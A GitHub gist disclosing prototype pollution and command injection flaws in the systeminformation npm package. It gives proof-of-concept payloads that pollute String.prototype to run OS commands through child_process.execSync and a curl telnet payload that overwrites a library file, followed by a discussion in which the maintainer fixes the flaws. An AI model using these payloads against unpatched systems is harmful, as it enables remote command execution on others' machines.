Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
[systeminformation] - Prototype Pollution

Vulnerability: Prototype Pollution - CVE-2020-7778, CVE-2020-26245

Package name: systeminformation.

Tested package versions: 4.30.1, 4.30.2, 4.30.4

Fixed package versions: >= 4.30.5

Description: The attacker can overwrite the properties and functions of an object. It can lead to executing OS commands.

Sensitive file: lib/internet.js.

Steps to reproduce:

Simple test:

const si = require('systeminformation');
const obj = {};

obj.__proto__.polluted = "polluted";

si.inetChecksite("https://effectrenan.com").then((a) => {
   console.log(a.polluted)
})

Prototype Pollution leading to OS command execution:

Payload:

const si = require('systeminformation');
const obj = "";

obj.__proto__.replace = () => { return require("child_process").execSync("<OS command>") };

si.inetChecksite("https://effectrenan.com");

The payload above exploit the replace function, which is called in the lib/internet.js file to sanitize the user input.

let urlSanitized = util.sanitizeShellString(url).toLowerCase();
urlSanitized = urlSanitized.replace(/ /g, '');
urlSanitized = urlSanitized.replace(/\$/g, '');
urlSanitized = urlSanitized.replace(/\(/g, '');
urlSanitized = urlSanitized.replace(/\)/g, '');
urlSanitized = urlSanitized.replace(/{/g, '');
urlSanitized = urlSanitized.replace(/}/g, '');

If in some context the require function is not available, it is possible to exploit the Command Injection vulnerability via CVE-2020-7752.

const URL = "";
const HOST = "127.0.0.1:443"; // CVE-2020-7752
const PAYLOAD = `telnet://${HOST} --no-buffer -o node_modules/systeminformation/lib/internet.js`; // CVE-2020-7752

URL.__proto__.toLowerCase = () => {
   return {
      replace: () => {return PAYLOAD}
   }
}

URL.__proto__.replace = () => {
   return URL;
}

si.inetChecksite("https://effectrenan.com");
@sebhildebrandt
Copy link

sebhildebrandt commented Nov 25, 2020

@EffectRenan, actually this already broke some other projects ... I have to revert this. Still: is there any other way, that I can use replace, toLowerCase, ... safely. I anyway rewrote the important functions that this injection is not going to the specific function. So I still guess that my previous changes are quite safe. Have a look at the code in internet.js, line 37 to 47 as well as util.js line 492 to 520. I also have one more function that checks if the prototype is polluted.

@EffectRenan
Copy link
Author

EffectRenan commented Nov 25, 2020

@sebhildebrandt, everything that we access through the Object sent is not safe. That's the reason is hard to handle it.

We can make copies of replace and toLowerCase when the package is loaded.
Example:

const replace = new String().replace;

When a function is called, we can use replace defined before instead of the object sent.
Example if the user sends a = ""; a__proto__.replace = () => {}

const replace = new String().replace;

function test(a) {
  a.__proto__.replace = replace;
}

So, if the replace is polluted before your package is loaded, it is out of your scope.

@sebhildebrandt
Copy link

sebhildebrandt commented Nov 26, 2020

@EffectRenan, thank you so much! I think I can work on that. Will provide a solution soon. Learned a lot the last few days ;-)

@sebhildebrandt
Copy link

sebhildebrandt commented Nov 26, 2020

@EffectRenan: done, fixed (hopefully). Your comments where super helpful! Thank you so much! Would be happy, if you can test it on your side. I ran the code above (from yesterday) without any issue. Would you also provide a CVE ID or should I request one via GitHub?

@EffectRenan
Copy link
Author

EffectRenan commented Nov 27, 2020

@sebhildebrandt, It seems to be fixed! Thank you too to resolve this fast and avoid possible malicious usage.
Any problems contact me.

Only the owner of the project can request a CVE. Thank you again!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment